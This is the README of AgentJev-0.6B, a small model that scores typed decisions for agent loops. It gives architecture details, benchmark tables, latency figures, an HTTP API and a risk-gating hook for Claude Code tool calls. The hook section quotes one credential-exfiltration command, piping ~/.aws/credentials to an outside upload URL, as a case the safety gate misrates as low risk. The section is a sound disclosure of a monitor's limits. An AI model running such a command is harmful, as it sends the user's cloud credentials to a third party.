Weights: https://huggingface.co/aimeigaoshou/agent-jev · Website: https://malevrigns.github.io/agent-jev/
The job · Primitives · Forward pass · Results · Latency · Run it · HTTP · Repository
AgentJev-0.6B does not write. You hand it a state and questions you have already phrased. One forward pass returns a probability for every option. The number of decoded tokens is zero.
Put it where an agent loop needs a gate, a route, or a score. Leave the prose to a larger model.
▶ Watch the 82-second demo · MP4, 1920×1080, 8.9 MB · Original ambient soundtrack, no voice-over; Chinese and English captions are burned in, so it works on mute. Every probability and timing in it is a recorded run on one RTX 5060.
A coding agent, a triage bot, or a workflow spends most of its steps on questions that are not writing problems. Did the tests pass. Which tool is next. Is this command safe to run. The usual answer is to ask a 27B–70B model to talk its way to a boolean, then parse the talk.
| A writer, used as a switch | AgentJev | |
|---|---|---|
| Output | Text you hope is JSON | A distribution over options you supplied |
| Decode | One token at a time | None |
| Failure | A malformed object, or a confident sentence | A probability you can threshold |
| Place in the loop | The whole turn | The reflex under the turn |
The state stays unstructured. The questions are typed. The answer is the distribution.
The state can be a diff, a stack trace, a ticket thread, or a table. Serialize an object and it is sent as stable JSON. Question ids exist so you can match the response. They are not shown to the model. The meaning has to live in the question and in the option text.
Three shapes. Every one of them returns the full distribution, not only the winner.
| Boolean | Choice | Score | |
|---|---|---|---|
| Ask | A proposition | Which of these, given exactly these options | Where on this ordered rubric |
| You send | Optional criteria for true and false |
2–255 options, each a description. A list or a map | 2–10 level descriptions, lowest first |
| You get back | value, probability of true, both masses |
value, top_probability, margin, the full map |
level (argmax), score = Σ i · Pᵢ |
margin is the gap between the best option and the second. Choice is a preference inside the set you passed. It is not an independent probability that the action will succeed. If you need that, ask a boolean per action and calibrate it on your own outcomes.
The backbone is Qwen3-0.6B with the language-model head removed. Each candidate is read at its last token. A small permutation-equivariant head then scores the set: the order of options does not smuggle in a ranking. Softmax is per question.
flowchart LR
state["State"] --> enc["Qwen3-0.6B"]
questions["Boolean, choice, score"] --> enc
enc --> head["Candidate head"]
head --> dist["Distribution"]
Three properties are worth the implementation, not the slogan.
Nothing is decoded. Hidden states go to logits. There is no output vocabulary step, so there is no JSON to repair.
The context is 2,048 tokens, and over-length input is refused. A diff or a trace that does not fit is an error, not a silent crop of the question or a candidate.
A state is encoded once for all of its questions. Every candidate is still its own causal path, [state][question][candidate]. The server merges the paths of one state into a token trie and encodes it in one forward pass. Each token attends only to itself and its ancestors, at its depth in the original path, so no candidate reads a sibling or another question. On the 400-case test split, five questions over one state and one request per case on an RTX 5060, backbone tokens per case fell from 4,074 to 443 and the median case from 278.01 ms to 43.89 ms. Accuracy, soft cross-entropy and Brier did not change. 1,998 of 2,000 chosen options matched the independent paths; the two that moved were ties within 0.0031. The largest probability difference was 0.0053. Generated tokens were 0 either way. Those figures are this load on this GPU, not a promise about every prompt; Latency & throughput has the full table.
The state is encoded once. Candidates branch from that prefix.
--encoder question restores the earlier routing, which reused a KV prefix only inside one question with at least 8 candidates. Training also supports encoder_impl: tree: TreeEncoder merges identical token prefixes within each question, uses ancestor-only attention and path-depth positions, and backpropagates through shared nodes. CPU collate precomputes tree topology; automatic routing uses native segmented causal SDPA for wide trees, a bounded dense mask for fragmented trees, and independent paths for small batches. Skewed batches use a compact forest when it saves both padding and mask space. Existing path batches and checkpoints remain compatible, and the default encoder remains path. Full-attention Qwen3 with eager or SDPA is required. The timing above measures the serving runtime; see the separate TreeEncoder benchmark report for training-encoder timings, numerical error, memory, and reproduction commands.
Official test split of Typed Decisions: 400 cases, 2,000 questions, five questions over one state, four workflows. Accuracy is agreement with the public teacher argmax. It is not a measured coding-agent success rate.
| Model | Kind | Top-1 | Soft CE ↓ | Brier ↓ | ECE ↓ | Score MAE ↓ |
|---|---|---|---|---|---|---|
| AgentJev-0.6B, this run | Specialist | 79.25% · 1585/2000 | 0.8494 | 0.0448 | 0.1687 | 0.2096 |
| Laya, published checkpoint | Specialist | 77.00% · 1540/2000 | 0.8844 | 0.0615 | 0.2170 | 0.2423 |
| TypeSafe Jev 1.13.0 | Generalist, zero-shot | 72.7% | — | 0.148 | 0.144 | 0.391 |
| ModernBERT-base, 149M | Specialist | 64.6% | — | 0.119 | 0.179 | 0.444 |
| MiniLM-L6, 22M | Specialist | 58.7% | — | 0.143 | 0.108 | 0.515 |
| AgentJev phase 4, before this run | Specialist | 38.70% · 774/2000 | 1.2817 | 0.2577 | 0.1050 | 0.7062 |
| Prior, label frequency | Reference | 47.0% | — | 0.189 | 0.088 | — |
| Uniform | Reference | 30.8% | — | 0.238 | 0.169 | — |
Rows without a soft-CE number are copied from the dataset card. They were not re-scored in this repository, and that card does not publish soft cross-entropy. Brier, ECE, and score MAE for those rows use the card's definitions.
Against Laya, on this split, the accuracy gap is +2.25 points. A case-level bootstrap over the 400 cases gives a 95% interval of [+0.65, +3.90]. Against the phase-4 weights this run started from, the gap is +40.55 points, interval [+37.35, +43.50].
The gap, counted in questions. Overall 1,585 against 1,540. Invoice 431 against 406. Customer service 411 against 382.
Five hundred questions each. AgentJev is the calibrated checkpoint. Laya is the same published specialist checkpoint as the table above.
| Workflow | AgentJev | Laya |
|---|---|---|
| Invoice processing | 86.20% | 81.20% |
| Customer service | 82.20% | 76.40% |
| Security incidents | 76.80% | 77.60% |
| Agent-trace observability | 71.80% | 72.80% |
| Primitive | Questions | Top-1 | Soft CE |
|---|---|---|---|
| Boolean | 600 | 88.83% | 0.4935 |
| Choice | 600 | 75.33% | 0.9767 |
| Score | 800 | 75.00% | 1.0209 |
Specialist and generalist are not the same measurement. The dataset card says so, and the table marks it. Jev 1.13.0 answered these schemas zero-shot. AgentJev, Laya, ModernBERT, and MiniLM were fit on this benchmark.
Laya's published checkpoint trained on all 1,200 official training cases. This run held out 120 development cases and 120 calibration cases, and selected the step-600 checkpoint by development soft cross-entropy before the test split was opened. Temperature is one positive scalar per primitive, fit only on the calibration cases. The loss was soft cross-entropy plus 0.1 times sum-of-candidates Brier. Seed 20260921. Dataset revision ea9306458d6e9563628369a3d1e72e362fb381d2.
Targets are teacher distributions, including synthetic cases. Beating a row here does not mean a pull request merged, an incident was contained, or an invoice was paid.
Full numbers: typed_decisions/comparison.json, typed_decisions/protocol.json, typed_decisions/REPORT_zh.md.
Typed Decisions never shows the model what a test runner prints, yet this README's own examples ask exactly that: have the tests passed? coding_gates/ does: 2,100 real runs of pytest, unittest, jest, mocha, vitest, and node --test on projects whose outcome was planted when they were built, plus 1,800 one-line summaries. On its test split, v1 calls 123 of 348 failing cases green, 115 of them one-line summaries like this README's own example.
A candidate continues v1 on that training split, replaying Typed Decisions and rewording the questions:
| v1 | candidate | |
|---|---|---|
| Failing cases called green, test | 123 / 348 | 0 / 348 |
| Failing runs called green, runners never trained on (vitest, node --test) | 31 / 198 | 7 / 198 |
| Passing runs blocked, runners never trained on | 1 / 102 | 8 / 102 |
| Gate accuracy in five wordings never trained on, test | 78.4% | 95.6% |
| Typed Decisions test, top-1 | 79.50% | 80.85% |
Both run through the same engine with temperatures fitted on Typed Decisions calibration only, and every held-out set was read once. Over the BF16 release file, the Typed Decisions gain is +1.35 points, 95% CI +0.20 to +2.50. The candidate is weaker on terse wordings and on node's dot reporter, and it blocks a passing go test ./... that prints [no test files]. coding_gates/README.md has those limits, every split, and the first attempt, which was dropped. The candidate is on the coding-gates branch of the model repository. v1 stays the default:
python fetch_v1_weights.py --variant coding-gates # models/agentjev-coding-gates, pinned and hash-checked
python -m jev_service.server --checkpoint models/agentjev-coding-gates/model.safetensors \
--model-path models/agentjev-coding-gates --temperatures models/agentjev-coding-gates/temperatures.json --port 8149One RTX 5060 (8 GB), PyTorch 2.9.1+cu128, Transformers 4.57.6, the v1 weights with calibration temperatures. Each test case is one request, timed with tokenization included. Before is main at 1c2c1b1; after is the default --encoder auto. Both ran back to back with python -m jev_service.benchmark_serving.
| Load | Before | After | Change |
|---|---|---|---|
| P50 case latency (5 questions over 1 state, test split) | 278.01 ms | 43.89 ms | 6.3× faster |
| P90 case latency | 378.22 ms | 48.00 ms | 7.9× faster |
| Throughput (20 cases per request) | 3.68 cases/s | 27.39 cases/s | 7.4× |
| Wide candidate load (64 Choice + 1 Boolean, 33,547 path tokens) | 550.74 ms | 136.88 ms | 4.0× faster; backbone tokens 2,551 → 1,521 |
| Backbone tokens per case | 4,074 | 443 | The state is read once instead of once per candidate |
| Resident weights | 2,283 MiB | 1,443 MiB | Backbone Linear weights stored in BF16; outputs bit-identical |
Run-to-run variation on this machine reached about 10%: the unchanged --encoder path measured 282.0 ms P50 in the first window and 310.9 ms in the second, and the after column comes from the second.
Laya's published checkpoint measured 41.53 ms P50 and 47.14 ms P90 per case on the original benchmark host. It has not been re-timed on this GPU, so the table above is not a head-to-head with Laya. Laya's context ceiling is 1,024 tokens against AgentJev's 2,048. Its ModernBERT backbone has no causal prefix seam: each of the 64 candidates in the wide load needs a full forward pass over the state, while AgentJev reads that state once per request.
The earlier wide-load comparison on the original host, with per-question KV reuse (298.91 ms). State sharing replaces that route by default.
The v1 release is the safetensors state dict at the immutable v1 revision, together with the Qwen3-0.6B-Base config and tokenizer it was trained with. This git tree has the code. Install a PyTorch build for your hardware with the official selector before the requirements below; requirements.txt requires torch>=2.0.0.
git clone https://github.com/malevrigns/agent-jev.git
cd agent-jev
python -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\Activate.ps1
pip install -r requirements.txt
pip install huggingface_hub safetensors
python fetch_v1_weights.pyfetch_v1_weights.py pins revision 7d433994fbde17a3f0993c2f2b02fe8ca1370db1, checks the size and SHA-256 of all seven release files (weights, calibration temperatures, config and tokenizer), confirms from the header that all 343 tensors are bfloat16, and puts them in models/agentjev-v1. Nothing else is downloaded: about 1.2 GB in all, where the earlier quickstart also fetched the 1.5 GB Qwen3 base model only to overwrite its weights. The script prints the command it has prepared:
python -m jev_service.server \
--checkpoint models/agentjev-v1/model.safetensors \
--model-path models/agentjev-v1 \
--temperatures models/agentjev-v1/temperatures.json \
--port 8149model.safetensors is the full module, backbone plus candidate head. It is not a causal language model, and AutoModelForCausalLM will not load it. The server builds the Qwen3 skeleton from config.json, without reading or initializing base weights, then load_state_dict(..., strict=True) fills it. A checkpoint from the earlier quickstart, agentjev_v1.pt with --model-path models/Qwen3-0.6B, still loads and scores identically. Load it at dtype=torch.bfloat16: at the pinned revision all 343 tensors are bfloat16, 1,196,881,242 bytes over 598,418,689 parameters. The dtype follows the revision — the repository's default branch now serves a later checkpoint that is float32 and twice the size — which is why the quickstart downloads the pinned revision instead of the default branch.
The process binds 127.0.0.1 only. It sends one warmup request before it reports ready, so the first real request does not pay the CUDA setup, about a second. The workbench is http://127.0.0.1:8149/. GET /health and GET /api/info return the loaded checkpoint and its SHA-256; for the release file that is the hash Hugging Face lists. The benchmark checkpoint selected for the table above was step 600. These published tensors are that run.
--temperatures takes scalars fit on held-out calibration cases. --page swaps the workbench HTML. --port defaults to 8149, the port the client and the hook use. --device defaults to cuda:0. --max-tokens defaults to 2048. --encoder defaults to auto, which encodes each state once for all of its questions; question keeps the earlier per-question routing.
agentjev_client.py speaks to that server. No extra dependencies beyond the standard library.
from agentjev_client import AgentJev
jev = AgentJev("http://127.0.0.1:8149")
state = {
"task": "Fix NullPointerException in UserAuthService.verifyToken",
"test_output": "Tests run: 14, Failures: 1 — test_expired_token",
}
gate = jev.decide_boolean(
state,
"Have all tests passed?",
criteria={
"true": "The suite is green and the project builds.",
"false": "Any test is still failing.",
},
)
route = jev.decide_choice(
state,
"What should the agent do next?",
options={
"read_failed_test": "Open test_expired_token and read the assertion.",
"rewrite_file": "Ask a larger model to rewrite the service.",
"commit": "Commit the current diff anyway.",
"retry": "Rerun the suite without changing the code.",
},
)
risk = jev.score(
state,
"How much operational risk does this change carry?",
levels=[
"Isolated change, no external behavior.",
"A unit assertion moved.",
"A public signature changed.",
"Authentication behavior may be bypassed.",
],
)gate carries decision, prob_true, prob_false, confidence, wall_ms.
route carries best_action, probability, margin, distribution.
risk carries level and expected_score.
evaluate(state, questions) is the lower-level call when one state needs several questions in the same request. Several states go in the HTTP body as requests, up to 32.
Scripts that assume a server already listening on port 8149:
python run_practical_test.py
python test_coding_scenarios.py
python test_game_suite.pyThe first two walk software-engineering scenes. The third walks customer-service, maze, snake, and ViZDoom-shaped decisions. They are demonstrations against a live server, not an offline unit suite.
POST /api/evaluate
{
"state": "23 tests passed, 1 failed.",
"questions": [
{
"id": "done",
"type": "boolean",
"question": "Are all tests passing?",
"criteria": {
"true": "The suite is green.",
"false": "At least one test failed."
}
},
{
"id": "next",
"type": "choice",
"question": "What is the useful next action?",
"options": {
"debug_failure": "Read the failing assertion.",
"submit_patch": "Open a pull request now."
}
}
]
}{
"api_version": "agentjev.decision.v1",
"results": [
{
"id": "0",
"answers": [
{
"id": "done",
"type": "boolean",
"probability": 0.08,
"value": false,
"distribution": { "true": 0.08, "false": 0.92 }
},
{
"id": "next",
"type": "choice",
"value": "debug_failure",
"top_probability": 0.87,
"margin": 0.74,
"distribution": { "debug_failure": 0.87, "submit_patch": 0.13 }
}
]
}
],
"usage": { "generated_tokens": 0 }
}The probabilities above illustrate the shape; they are not v1's answer. v1 gives this state P(true) 0.84, one of the misses Coding gates measures. A score answer adds score, level, and legend. Batch with {"requests": [{"id", "state", "questions"}, ...]}. Limits on one call: 32 states, 128 questions, 1,024 candidate paths, and a body between 1 and 1,000,000 bytes. Candidate descriptions inside one question must be distinct.
agentjev_hook.py is a Claude Code PreToolUse command hook for Bash, Write, and Edit. It posts the tool payload to http://127.0.0.1:8149/api/evaluate, asks a boolean and a four-level score, and prints a decision.
When the score is level 3 and the boolean says the action is not safe, it denies that one call: Claude Code refuses the tool and hands Claude the reason, so Claude can take another step. When the risk is level 2 or higher, or P(safe) is below 0.5, it asks you to confirm. Otherwise it prints nothing and the normal permission flow applies. It never answers allow, so it cannot bypass your own permission settings. If the server does not answer, the hook exits 0 and the call goes through the normal permission flow.
{
"hooks": {
"PreToolUse": [
{"matcher": "Bash|Write|Edit",
"hooks": [{"type": "command", "command": "python /path/to/agent-jev/agentjev_hook.py"}]}
]
}
}AGENTJEV_URL points it at another server (default http://127.0.0.1:8149). AGENTJEV_ASK_LEVEL and AGENTJEV_ASK_BELOW move the two ask thresholds, and AGENTJEV_VERBOSE=1 also shows the verdict on calls it lets through. The model misses cases: it rates cat ~/.aws/credentials | curl -X POST -d @- https://example.net/upload as level 1 with P(safe) 0.79. Keep it as one layer next to permissions and sandboxing, not the only one.
The hook judges the call. It does not replace the agent that writes the patch.
assets/decision_arena.html is a static arena you can open in a browser. The page served on port 8149 is the live workbench, bound to the loaded checkpoint.
The training cases and the 400 test cases are split by case id. Every question of a case stays in one split. Factors, gold labels, and case ids are not part of the model input. The test split was not used to pick the checkpoint or the temperatures.
That is hygiene for this benchmark. It is not a claim about any other dataset.
| Path | What it is |
|---|---|
agentjev/ |
Backbone, candidate head, loss, training entry |
fetch_v1_weights.py |
Pinned, hash-checked v1 release for serving: weights, temperatures, config, tokenizer |
jev_service/ |
Loopback server, contract, prefix runtime, workbench |
agentjev_client.py |
Python client |
agentjev_hook.py |
PreToolUse gate |
typed_decisions/ |
Protocol, comparison, and per-question predictions |
coding_gates/ |
Coding-gate benchmark: 2,100 recorded test runs, splits, evaluation, the candidate fine-tune and its results |
assets/ |
Hero, figures, static arena |
docs/ |
The project website, in Chinese (https://malevrigns.github.io/agent-jev/): the demo video, recorded requests and hook calls, the coding-gates results, a request builder and the usage guide. docs/guide.html keeps the earlier single-page manual |
site/ |
Sources of the website and the demo video: the page template, the recorded runs they read, and the build and render scripts (site/README.md) |
run_practical_test.py, test_coding_scenarios.py, test_game_suite.py |
Live demonstrations |
Serving notes that are easy to miss live in jev_service/README.md.
@misc{agentjev2026,
title = {AgentJev: A 0.6B System One Decision Model},
author = {malevrigns},
year = {2026},
howpublished = {\url{https://github.com/malevrigns/agent-jev}},
license = {Apache-2.0}
}- Linux.Do — 本项目非常认可 LinuxDo 社区！
Apache-2.0. See LICENSE.